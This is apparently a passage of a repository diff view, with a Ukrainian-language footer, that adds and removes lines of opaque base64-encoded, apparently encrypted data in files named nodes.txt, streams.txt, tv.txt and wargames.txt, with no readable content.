+UZ1UA7DmrYpbj8X2PzmEUdfOYctC+xszA3qLoaEYAECIMFiFSSx6BNMcwcp6kKaoX3ItgvDH3zY4nb7yNg98xr2NC0SJoDAFMWnGiArq57945RPx
+qA8XdCOXoyJjQ+ErJXxpyh3zaJwuQY2biiLejSDGoMZbTyP17qJaoUyHUoDOsRLuB2y7Ps8NzgDxlggy+R+FRU1JMX5yrkcVvHXzMLlY7xNHI36DyQj2
+VJ+hybmfFrg8PwaJZOprqWEqNs+2DwMBx7Rclq1cSq6JA2G+UCjE1qLOBt/IWcyJNfiFIbLf1p24haXo16WWVvUqoYCyF7W9FZghvuRcTdO9CjXFxMC4WDlLPF8=
+d4EKnq7SedGRsJ+POICWRIqWRIxof3V7onHye2TCxwU1raXFI4HgdTtFAoC7EirEsFB0pE6SX+KhhV22uSCoTwoFNJee7FO3vekYd6XJWWJmcM2f
+4dV4eqo9VmHvxO5ot2ero1481sWHj7cqaZMqDFA8JUn4FEZIfLkVTpjh7xg76uP+SKx54++hptnHQE8sTtAup4CjA6zjb1WbOMQa4epAGshj0hcANZls+/Gkw2BbK5vGafVi5g==
+xVnrefs9d5VK8uycd9rdoUzYDSR0k3zI+PQfOmcKT8d/uR6fdEQcAOCSOsCKn6OCwM3bFeuSG4/8I75aD95ie8iZJuRu2fKoOhJaSR5F0sL4zQq9YcPTlAxuYVn8xJbdfiJR
+BRl1KBICUP43puK7e7MYhrkozSc+00GBl7+d1KjVbyUwcBsvbRmo2jxZ8U0jiaVNaoZIMdeF43R8VHPhOXEjLEcoM614Xxsqt4TruLMq0s38DtIBEWl1vfOvkwBA1yDAuspO4g==
+vjOj49N9aGtGaVaAtTq72WqPxjo85r0RfMXtp82EdSdowSEncAQ7mhWcFKNZkAGuts1+wmRxM2PzzzhwN46TvwL6mcwN5iNnSZSx3iMheXL5LTSdVvHvpaFTXr2qnw==
+QN19GGp2CY8pbqj967MFVow88cBR6jhI5fXiNUEQfC24XT8pUCgIAvOOm1gwYX11AjcH/CJoHu8HI1XEM8weGBqEHhKj6mFgwKR/wT1rH0zZKeRN
+ADfg6flq9InxOQbq+n9fHugHjnEnTfTu+vfO8/FQbMs18tK0xsAtaygv9qwuj/b5rk7z6Dt7gJxPry9k6bqoceruAUo51S+WP9tM6V22B1kTU16kWUgUDUr0fUmdyrQ5mKCtwA==
+T+Jg46i6HsdC3+seaKP6BS4z9fXICXSWET8STkt48URBfrMMvktyOd8/GU6167GhX0okSe5iO2J/p5PI2OoMz7mmcify9Rvhp1HeyNwwr2F+IILgng/nMHNEFZsxAA==
+CZKuyMdEU+iRpJol1T+hIKg0mbZAn9mRgRgE52YI9j6WTWadjEl67XuGTy/mwue0pWIO9roODcAyGretfZ0AE/9a543yzOxXjYbFaFrNqLH01iPMzlHc2b4ldaBwmzY7ceLsHQ==

+ 0 - 1
data/nodes.txt

@@ -1 +0,0 @@
-PNThCLiUQr2Gy04eHrLMAZkqLvhBAHoUDWssJP+7AB+Pp7RWZAfCadKFr6a+PI2AxYtlxqm+JozEFqsPWmWWvGW/gAF+38C3NR1B84adSimnug==

+ 8 - 0
data/streams.txt

@@ -0,0 +1,8 @@
+JrZsBlR4EWdF989p4ZGWkOVaxVxd4ZJZ0KL/TW3KORZ+KFI1UZLjH+XOAX9DSoqZlHwv/EaY/A==#S#XDVPTBqf+G5FIZ5XTsIIrUI3oCk5f5ESvuRC8F9B0QdnRwOICLODeVjp8htJ9mWbQBKDj7F7Jm7D52Wdo7MDx5Xi7ly3OaavO1O4AP2a7A==#S#Jk3z5rfSF+sam5iUEMDHIqlwbfhADHifiBKtZ6WpISfYaRSwWfWt
+iL/ah9aIa4GlHTJDfWOa3O1n6sgObkNrg3JqHdeFc0iDh/U8ihlj59XCYov4rZZQPJ/BMFu8/g==#S#O+LcfjwT88GxhybAv6FrNdyCrr3ArBJK8fVY2KzjYPs7DHUKJfBfwC81GPlNKR/u6zi1/Tt3TplBjUYfH6LmiAitmuBMOSve6KzTBNUn+A==#S#6AW2Ko0406qn4cNKRUhIVDoFeZs1xAsLeQWSiQXSVgyljfYQ7OHz
+/dYxNwN/iaXcNW5//usVS6C2vLSocIENbCk43AckktuzjrnsvNuwDhdCRGvzqpocMSR9L4dklA==#S#UdJH/ELBK35ukRmZrn+qA23+HcmWJ0ZuNiocJKn06bzmt5xjI1pSqNor4Y3QgvFPBPUMtx/Kwhl07N02YKydE3ePKTUtLh05fYwesUuxZA==#S#ALqZnwUuSs/I3LNG++GUrcuFOl/nsDv0KHP4qlnASj83934BRbkA
+CZ9dYUwGac8f1cbGax7bf41E0wnx1+pNon6ITK9fZyByb5B3s0zyyThKg5BYPqhOtLN/Mg97eA==#S#WRtq5juGgiuw4xI3h/3A0qD8Pvb/pww94JCaBQLRRhquz61sA3kPoI8c9Dj00yOT0d6jN+Lzizer2A+mryJlaQKIT5kBUoGQo+mBqVpNfg==#S#rvGIzTDhNMmFCX+/RjaMv3o5J/OJi3e8jq12uPlDWI4LkNiI3eYH
+vUqoPeCg7gAAKtTaKT3Z4rw4Bz4F4ZhTXSBT7f/aFXQ4SvFYuwhJGRSM+l1gaESTrsWdyAmPnQ==#S#FfDdW+X/9zvGZrF9QcCut5SaasoKKFFUwn+6lxZBEp6AWQhrz0ZLJvkCnWQCigvwXdmuh6ryujVssMdoHPlyADvOFS02Nsif0J4+vIaaSQ==#S#QIfqXwq0LHPqKEfcLqBXvbsuvP0Qqpp1DWxlQaB3VqtNegmYW1Ck
+oSI7qY3EQC/+8Ks0V4nRXpSv6qtlTuQB8+WQRDDlBxDLG7FTAXSDF9uwSoQkQC8fw7zsxM9i7g==#S#Tz5z/NL8OVbrnLXgXz4XPHe5535veH5jb7DYGh9+veBCFzqCyCB9zv2B9Afi8IFJ+mwukwasQjR8hBnyZEZDUjRybdPhOZZs/FYcJfxdsQ==#S#CzdFJZ5zkrD65JNACFQ+2QxY/Mc+4Q0VmTb4oOpge7jQxoWVmzTA
+EmHhywnuu6q/YV1AebxoToc/sKglLxVhUXOQHUXypqVAzIv8eUGiGwOnnL3n0AcIMSmj0N9Z/g==#S#iyBsx7EtHzn/9wpO+ldMA/JVJBeheaJXqccvMyd3rbbdAbS+KfjPVhFK9Ih4XKr+G3aEKA6lZCdWUKvUHkVrc1AXt89wRKx6J8evcoGNEA==#S#akzn6hIW0D1NXuq01g76l/+gNTdiEjiKgL1ikndSBiZORxtEAA5M
+P2qDW6pGSIgkB0LCZf/Mrvs4ySZZkXkWXoAhKHj02jOKbigCi4d4GyWBTC5c+6RBL/xQsU/ydA==#S#Izy5ab9/i1+mJvU1T082ATq2knJLK5B91NDAU5DfBGyQjmuGd9ZkWu8NR3OUcs3gQyHhaInu/nQsNzKJm5JKyCA+iPM47C9GbsFABU4xbA==#S#K3COWE+6xeDhgPwY5a2scAS8HqNNudoX/GyKkbADYsWFxZ3Z62eg

+ 9 - 0
data/tv.txt

@@ -0,0 +1,9 @@
+iDeHUHQOPglBaXNhTuSEmM8xmegrMCBd0Fmkldq8syzO4X3lJhkLGNNf30XQ3Nv+ezlfX3E1O6t00YzN63Qg7CcN1CpF8zMHy7zIo5HKU2QrlrDd1dk=
+ac9uuPX599OdiwCIlxZam4+BAJ/dIz9r8/MoqLFII4ZD2M6GzzwKgexT3WVXqgFUKQWVJkrY5/Le2LFJkijwJOYvGDqAtuwIzpsRd1EAL7OY
+plAy4d7ckP5aW5j+Q+qUa0A5UpmHE8J0srrorLupqLl5epIoKGjKt7y956jUozhwMf7i9v0F/1GcP9pQ796Xdp0DOaq2jFqhJPJJIy3SUoYt+fjYV3GWug==
+zhEVnVK2vG2DGhtQNGKFI59i8aQ1zBaZqKcr+toCCyfM1FjMIoZzBBb8U0armS6YTZqZP5Gat8uEHlogxWrq0nRtk3529rOW0g5oFie96sIwmIo=
+qX0Ga2RpqRejhmUR+WRqs1JWZ2SHHLIV2uN6htXeVdd8xn4vnNfQiW8MaP1aFwJqba2f7ZI1s8VmPPQEOB/y7iO+xhM5hIgFNzeWe//orj+2Pn2TXTc+3qyvSLhON6FI
+gX6+B0RgMpiZ3xRU/9OqhLApG6Gnt0M7QtNg0vqj7qYA68vmhQa6bvORYxnFLobGKL+G+JvDePdmTuJykranEBS9yw5k58wFOemSuLuy+SqImg==
+3eojiIb+aHGfWiY5qM1hvZdyPiV1z19g6w52kn+L41T78cGY+8zBC16ur6GG1s9L98X54vay3MxlCz4S7CPyLZ+fIVqvQ/im5wl/jjEjTNcZsw==
+SyDOrwjm6upSO0kbtGgdD5ZugF+2xEN3M9fidpotYYYXRzpT/AvbbGslVkJZ51dNOiFKERyv+0CR6Y4Z1VO0L95Y36njqQpS+b1jUV7dyNt2OA==
+rehyVeHGHf/eUYLUcH8lFOLDpIJH/2ktlHF7nodJW7u+BsGqSAAe0nhOz3p9nEcOe6yRCIPTDNBL+pkFs0QuFBGI56KnKghYQ7iMBXcyNy+MdM0d

+ 0 - 0
data/wargames.txt


Деякі файли не було показано, через те що забагато файлів було змінено